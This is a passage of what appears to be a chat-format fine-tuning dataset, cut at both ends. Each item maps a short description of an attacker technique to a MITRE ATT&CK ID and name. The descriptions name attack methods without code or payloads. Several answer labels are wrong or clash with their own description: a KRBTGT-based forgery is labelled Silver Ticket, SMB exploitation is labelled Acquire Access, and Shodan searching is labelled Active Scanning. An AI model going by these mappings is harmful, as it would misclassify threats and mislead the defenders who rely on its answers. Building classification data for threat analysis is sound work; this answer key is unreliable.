                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised code signing certificate to sign a malicious driver that loads at system boot."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom malware variant creates a VPN-like tunnel over ICMP echo packets to exfiltrate data from a locked-down network."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group changes the security group rules of a compromised tenant to permit inbound traffic from malicious IPs."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the DLL search order by creating a fake DLL with the same name as a system library and placing it in a directory that is searched before the system folder."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary harvests credentials from browser password stores using a malicious extension."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the built‑in \"whoami /all\" command to gather information about local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker develops a malicious macro script for phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses XPC service APIs to communicate between a compromised user app and a high‑privilege system component, bypassing security checks."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply chain attack, attackers embed a malicious MSBuild task in a legitimate build pipeline, leading to execution of ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dumps the browser's stored client certificates and reuses them to authenticate to internal applications."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors log into Google Cloud Platform using previously harvested valid user accounts to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses social engineering tactics to trick an employee into revealing confidential information, such as login credentials or financial data."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the RC initialization file /etc/rcS to maintain persistence after each system restart."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a scheduled task that invokes a PowerShell command to download additional payloads from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses WMI to execute commands that result in a new user being added to the system."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrated API keys from Google Cloud Secret Manager after obtaining a compromised service account token."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a misconfigured API to automatically generate a new GCP service account."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors install a kernel-level socket filter that captures outbound HTTP requests and forwards them to a malicious endpoint."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages ptrace to hijack a legitimate binary, modifying its execution flow by writing shellcode into the target process."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a known vulnerability in the Windows LSASS process to retrieve user credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits the DDE feature of Windows to send a malformed message that crashes the target application, leading to a denial-of-service."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an operation, the actor compresses data and then encodes it with Base64 to embed it in a malicious macro."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a local privilege escalation exploit to run a payload as root on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor abuses the at.exe command to create a task that runs a hidden executable with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage the 'docker run' command to launch a container that contains ransomware."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain targets a vulnerability in the Windows Shell, allowing the attacker to execute a payload when a directory is opened."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the LDAP bind credentials stored on a router's configuration, allowing them to bind with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opened a persistent external remote service connection via an authorized VPN client, facilitating command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collects service names and statuses via WMI calls (Win32_Service) to map the system's service landscape."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary silently creates a new local account with a weak password to facilitate lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers renamed a legitimate sysmon.exe to a random gibberish name to hide its presence from security tools."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent shell script regularly checks for and recreates a local account if removed."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool queries the system's device manager to identify connected USB and Bluetooth devices for possible lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group copies a stolen credential file to a shared folder, allowing other compromised machines to retrieve it for further attacks."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits an insecure LDAP connection to query the Active Directory and locate high-value targets."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reassigns the .lnk shortcut file association to a trojanized DLL, ensuring execution whenever a shortcut is clicked."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a WMI permanent event subscription that runs a PowerShell script when a specific event occurs."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious macros inside PDF files using custom character substitution encoding to bypass email filters."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary manipulated IIS request filtering settings to bypass security controls and deliver a payload through HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor deploys a wiper that zeros out the Master Boot Record, preventing the system from booting."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a targeted email containing a malicious URL that redirects the victim to a credential‑stealing login page."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploited a vulnerable setuid binary to gain root privileges on a Linux system."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder changed the password policy settings via the Group Policy Management Console to reduce password complexity, making future credential theft easier."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used Shodan to identify exposed industrial control systems associated with the target’s IP block."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hooking the Windows APC mechanism, the malware suppresses interrupt-driven cleanup routines, effectively preventing detection of its artifacts."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a systematic wordlist enumeration of the target’s URL space to uncover hidden services."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office add‑in is installed through a signed installer, persisting by executing whenever any Office application starts."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals use a man‑in‑the‑middle attack to replace a web‑based client download with a malicious binary that steals cookies."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encrypts all user documents and then deletes the original plaintext files to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script utilizes the 'cipher /w' command to overwrite free space, effectively wiping the disk."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker attaches to a userland process via ptrace, replaces its .text segment with malicious instructions, and then continues the process."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor steals the KRBTGT password hash from Active Directory and generates a forged ticket granting ticket to gain unrestricted domain access."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a post-exploitation phase, the intruder uses a custom script to sniff SMB traffic for file shares."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a vulnerable SMB service to execute code remotely and gain system access."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor runs a PowerShell script that calls SharePoint’s _vti_bin/Lists.asmx to harvest list entries with PII."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider invoked the cloud console to manually snapshot a production server's disk, facilitating later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new local administrator account on the victim's Windows machine to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a spearphish containing a URL that redirects through a URL‑shortening service to a malicious payload downloader."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised KRBTGT hash to produce a forged Kerberos ticket for a remote desktop service, enabling unauthorized RDP sessions."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the \"WinRM\" service to execute commands as SYSTEM, effectively bypassing UAC controls and gaining elevated access on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits socket filter APIs to silence security alerts by dropping packets associated with monitoring software."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors packaged a ransomware component as a stripped binary, erasing identifying information from the file."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use URL encoding to obfuscate command parameters sent to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of the internal DNS server allows the attacker to conduct man-in-the-middle attacks on internal traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script parses /etc/hosts and /etc/resolv.conf on a Linux machine to gather network configuration."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors place web links in instant messaging that lead to a malicious landing page hosting a script to fetch further malware."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet sent a command to compromised routers to overwrite their flash memory, erasing stored routing tables."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the attacker runs `net.exe group /domain` incorrectly, but then falls back to `net localgroup` to see local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijacked a public web forum and used it to host their download links for malware."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code communicates with a maliciously registered subdomain on a free web hosting provider, using GET requests to retrieve base64‑encoded command strings."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a signed Java JAR file that contains an obfuscated class which loads and executes a hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker infiltrates a subscription‑based cyber threat database to gather indicators of compromise related to the target's industry."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used custom packers to encrypt their binaries, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macros embedded in a .dotm file trigger the execution of a reverse shell when the template is used to create a new document."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL was executed by invoking regsvcs.exe with a crafted .NET assembly."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a man‑in‑the‑middle attack to capture the session cookie and later replays it to gain authenticated access."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
